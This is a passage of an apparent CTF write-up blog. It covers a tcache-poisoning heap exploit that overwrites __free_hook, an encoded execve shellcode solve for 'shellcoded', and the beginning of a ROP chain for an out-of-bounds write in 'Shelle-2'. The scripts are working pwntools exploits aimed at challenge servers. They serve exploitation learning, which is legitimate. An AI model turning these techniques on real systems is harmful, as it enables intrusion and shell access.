<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x1ebbe0</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"[*] Libc leak: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"[*] Libc base: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="p">))</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"[*] Second stage of the payload ? "</span><span class="p">)</span>
<span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"G"</span> <span class="o">*</span> <span class="mh">0x510</span><span class="p">,</span> <span class="n">leak</span> <span class="o">=</span> <span class="bp">True</span><span class="p">)</span> <span class="c1"># 10
</span><span class="n">payload_10</span> <span class="o">=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mh">0xa0</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x80</span><span class="p">)</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="o">*</span> <span class="mi">14</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x80</span><span class="p">)</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'BBBBCCCCDDDDEEEE'</span>
<span class="c1"># Create a mid chunk, delete it
</span><span class="n">edit_user</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="n">payload_10</span> <span class="p">)</span>
<span class="n">edit_user</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xdeadbeef</span><span class="p">))</span>
<span class="n">edit_user</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xbeefdead</span><span class="p">))</span>
<span class="n">remove_user</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">remove_user</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Last edit to edit tcache ? "</span><span class="p">)</span>
<span class="n">payload_10</span> <span class="o">=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mh">0xa0</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x80</span><span class="p">)</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">])</span> <span class="c1"># fd_pointer, not very necessary, since I'm using the next chunk, lol
</span><span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="c1"># bk pointer
</span><span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="o">*</span> <span class="mi">12</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x80</span><span class="p">)</span>
<span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">])</span> <span class="c1"># fd_pointer
</span><span class="n">payload_10</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="c1"># Create a mid chunk, delete it
</span><span class="n">edit_user</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">payload_10</span> <span class="p">)</span>
<span class="c1">#remove_user(4)
</span>
<span class="c1"># Now we have the poisoned tcache on Tcache[0x80]
</span><span class="n">yesno</span><span class="p">(</span><span class="s">"[?] Make free_hook first on tcache ?"</span><span class="p">)</span>
<span class="s">'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''</span>
<span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"K"</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># dummy allocation to make the `__free_hook` in the top of tcache
</span><span class="n">create_user</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">]))</span>
<span class="n">remove_user</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h1 id="shellcoded">shellcoded</h1>
<p>The main purpose of this challenges is that the remote box, execute our shellcode, but it have a restriction on length because the shellcoded is modified.
The pseudocode of the binary it is as follows <br />
<a href="assets/shellcoded">shellcoded</a></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="n">ok</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
<span class="n">code</span> <span class="o">*</span><span class="n">__buf</span><span class="p">;</span>
<span class="kt">ssize_t</span> <span class="n">shellcode_len</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">i</span><span class="p">;</span>
<span class="n">__buf</span> <span class="o">=</span> <span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="n">aligned_alloc</span><span class="p">(</span><span class="n">PAGE_SIZE</span><span class="p">,</span><span class="n">PAGE_SIZE</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">__buf</span> <span class="o">==</span> <span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">fwrite</span><span class="p">(</span><span class="s">"Failed to allocate memory.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="n">stderr</span><span class="p">);</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Enter your shellcode."</span><span class="p">);</span>
<span class="n">shellcode_len</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">__buf</span><span class="p">,</span><span class="n">PAGE_SIZE</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o"><</span> <span class="n">shellcode_len</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">i</span> <span class="o"><</span> <span class="n">shellcode_len</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">&</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ok</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">ok</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">__buf</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">code</span><span class="p">)((</span><span class="kt">char</span><span class="p">)</span><span class="n">__buf</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">i</span> <span class="o">*</span> <span class="n">ok</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">iVar1</span> <span class="o">=</span> <span class="n">mprotect</span><span class="p">(</span><span class="n">__buf</span><span class="p">,</span><span class="n">PAGE_SIZE</span><span class="p">,</span><span class="mi">5</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">free</span><span class="p">(</span><span class="n">__buf</span><span class="p">);</span>
<span class="n">fwrite</span><span class="p">(</span><span class="s">"Failed to set memory permissions.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x22</span><span class="p">,</span><span class="n">stderr</span><span class="p">);</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">(</span><span class="o">*</span><span class="n">__buf</span><span class="p">)();</span>
<span class="p">}</span>
<span class="n">free</span><span class="p">(</span><span class="n">__buf</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The solution is simple, since we just need to call <code class="highlighter-rouge">execve("/bin/sh",NULL,NULL);</code>, with that in mind, the solve script is the following.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span><span class="s">'-v'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./shellcoded"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">libc_name</span> <span class="o">=</span> <span class="s">"/lib/x86_64-linux-gnu/libc.so.6"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">p_name</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">libc_name</span><span class="p">)</span>
<span class="s">'''
libc.address
libc.symbols['printf']
'''</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''
b * main+345
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"challenge.ctf.games"</span><span class="p">,</span><span class="mi">32383</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s">'''mov al, 0x3b
lea rdi, [rdx + 0xe]
xor rsi, rsi
xor rdx, rdx
syscall
'''</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'/bin/sh</span><span class="se">\x00</span><span class="s">'</span>
<span class="n">payload_enc</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">c</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">ok</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">print</span><span class="p">(</span><span class="s">"The payload is : "</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">b</span><span class="s">"ok for: "</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">k</span><span class="p">])</span> <span class="p">)</span>
<span class="k">if</span> <span class="n">c</span><span class="o">&</span><span class="mi">1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">ok</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">ok</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span>
<span class="n">payload_enc</span> <span class="o">+=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">k</span><span class="o">-</span><span class="p">(</span><span class="n">c</span><span class="o">*</span><span class="n">ok</span><span class="p">)]</span> <span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">c</span> <span class="o">+</span> <span class="mi">1</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload_enc</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h1 id="shelle-2">Shelle-2</h1>
<p>I love this challenge, because is <code class="highlighter-rouge">"kind of"</code> similar to the <code class="highlighter-rouge">sudo heap overflow</code>, in order to get a ropchain written.<br />
The disassembly of the binary is it as follows</p>
<p><a href="assets/shelle-2">binary</a></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kt">void</span> <span class="n">run_cmds</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">res</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">carriage_locate</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">off</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">cmd_buf</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">cmd_size</span><span class="p">;</span>
<span class="n">undefined8</span> <span class="n">_56</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buff</span> <span class="p">[</span><span class="mi">504</span><span class="p">];</span>
<span class="kt">long</span> <span class="n">local_20</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">_cmd_buf</span><span class="p">;</span>
<span class="n">local_20</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
<span class="n">cmd_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="n">_56</span> <span class="o">=</span> <span class="mi">56</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Welcome to Strict-PsuedoShell, Updated psuedo shell to prevent cheating in assesment."</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span>
<span class="s">"Strict-PsuedoShell is a super restricted environment to prevent all misuse ( stop cheating by just submitting flags and do your assesments :/ ), Please Enter </span><span class="se">\'</span><span class="s">HELP</span><span class="se">\'</span><span class="s"> to know about available features, happy learning !"</span>
<span class="p">);</span>
<span class="n">fwrite</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">notroot:P@Strict-psuedoshell$"</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="n">stdout</span><span class="p">);</span>
<span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
<span class="n">off</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">buff</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">500</span><span class="p">);</span>
<span class="n">cmd_size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">getline</span><span class="p">(</span><span class="o">&</span><span class="n">cmd_buf</span><span class="p">,</span><span class="o">&</span><span class="n">cmd_size</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">_cmd_buf</span> <span class="o">=</span> <span class="n">cmd_buf</span><span class="p">;</span>
<span class="n">carriage_locate</span> <span class="o">=</span> <span class="n">strcspn</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">,</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">_cmd_buf</span><span class="p">[</span><span class="n">carriage_locate</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">,</span><span class="s">"HELP"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(((</span><span class="n">res</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&&</span> <span class="p">(</span><span class="n">res</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">,</span><span class="s">"Help"</span><span class="p">),</span> <span class="n">res</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">))</span> <span class="o">&&</span>
<span class="p">(</span><span class="n">res</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">,</span><span class="s">"help"</span><span class="p">),</span> <span class="n">res</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">))</span> <span class="k">break</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span>
<span class="s">"</span><span class="se">\n</span><span class="s">Here is the list of command availiable to Students</span><span class="se">\n</span><span class="s">1> whoami</span><span class="se">\n</span><span class="s">2> pwd</span><span class="se">\n</span><span class="s">3> ls</span><span class="se">\n</span><span class="s">4> ps</span><span class="se">\n</span><span class="s">5> id</span><span class="se">\n</span><span class="s">6> echo</span><span class="se">\n</span><span class="s">7> cat</span><span class="se">\n</span><span class="s">8> more</span><span class="se">\n</span><span class="s">9> clear</span><span class="se">\n</span><span class="s">"</span>
<span class="p">);</span>
<span class="n">fwrite</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">notroot:P@Strict-psuedoshell$"</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="n">stdout</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">,</span><span class="s">"EXIT"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(((</span><span class="n">res</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">res</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">,</span><span class="s">"Exit"</span><span class="p">),</span> <span class="n">res</span> <span class="o">==</span> <span class="mi">0</span><span class="p">))</span> <span class="o">||</span>
<span class="p">(</span><span class="n">res</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">,</span><span class="s">"exit"</span><span class="p">),</span> <span class="n">res</span> <span class="o">==</span> <span class="mi">0</span><span class="p">))</span> <span class="k">break</span><span class="p">;</span>
<span class="n">strncpy</span><span class="p">(</span><span class="n">buff</span><span class="p">,</span><span class="s">"export PATH=$PWD/bin/:/opt/ ; export SHELL=</span><span class="se">\'</span><span class="s">Shellie</span><span class="se">\'</span><span class="s"> ; "</span><span class="p">,</span><span class="mi">500</span><span class="p">);</span>
<span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">_56</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="n">i</span> <span class="o"><</span> <span class="mi">500</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cmd_buf</span><span class="p">[</span><span class="n">off</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\\'</span><span class="p">)</span> <span class="p">{</span>
<span class="n">off</span> <span class="o">=</span> <span class="n">off</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cmd_buf</span><span class="p">[</span><span class="n">off</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span>
<span class="n">buff</span><span class="p">[</span><span class="n">_56</span> <span class="o">+</span> <span class="n">off</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">cmd_buf</span><span class="p">[</span><span class="n">off</span><span class="p">];</span>
<span class="p">}</span>
<span class="n">off</span> <span class="o">=</span> <span class="n">off</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Function removed for security."</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">);</span>
<span class="n">cmd_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="n">fwrite</span><span class="p">(</span><span class="s">"notroot:P@Strict-psuedoshell$"</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x1d</span><span class="p">,</span><span class="n">stdout</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_20</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The funny thing is that the program itself is stupid as fuck, it does nothing…
But, the main problem is while making copy of the buffer. By reading a <code class="highlighter-rouge">\\</code>, the <code class="highlighter-rouge">offset</code> is aumented, but not the <code class="highlighter-rouge">counter</code>, with that, we can <code class="highlighter-rouge">write out of bounds</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">while</span> <span class="p">(</span><span class="n">i</span> <span class="o"><</span> <span class="mi">500</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cmd_buf</span><span class="p">[</span><span class="n">off</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\\'</span><span class="p">)</span> <span class="p">{</span>
<span class="n">off</span> <span class="o">=</span> <span class="n">off</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cmd_buf</span><span class="p">[</span><span class="n">off</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span>
<span class="n">buff</span><span class="p">[</span><span class="n">_56</span> <span class="o">+</span> <span class="n">off</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">cmd_buf</span><span class="p">[</span><span class="n">off</span><span class="p">];</span>
<span class="p">}</span>
<span class="n">off</span> <span class="o">=</span> <span class="n">off</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>After spotting this issue, the next thing is just a <code class="highlighter-rouge">rop chain</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span><span class="s">'-v'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./shelle-2"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">libc_name</span> <span class="o">=</span> <span class="s">"/usr/lib/x86_64-linux-gnu/libc-2.31.so"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">p_name</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">libc_name</span><span class="p">)</span>
<span class="s">'''
libc.address
libc.symbols['printf']
'''</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''b * run_cmds+194
b * run_cmds+473
b * run_cmds+655
b * run_cmds+729
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"challenge.ctf.games"</span><span class="p">,</span><span class="mi">30793</span><span class="p">)</span>
<span class="c1"># With 480, we reach the offset for the out of bounds write
</span>
<span class="n">rdi</span> <span class="o">=</span> <span class="mh">0x4015f3</span> <span class="c1"># pop rdi; ret;
</span>
<span class="n">two_pop</span> <span class="o">=</span> <span class="mh">0x4015f0</span> <span class="c1">#: pop r14; pop r15; ret;
</span><span class="n">six_pop</span> <span class="o">=</span> <span class="mh">0x4015eb</span> <span class="c1"># : pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
</span><span class="n">four_pop</span> <span class="o">=</span> <span class="mh">0x00000000004015ec</span><span class="c1">#: pop r12; pop r13; pop r14; pop r15; ret;
</span><span class="n">three_pop</span> <span class="o">=</span> <span class="mh">0x00000000004015ee</span><span class="c1">#: pop r13; pop r14; pop r15; ret;
</span><span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">481</span>
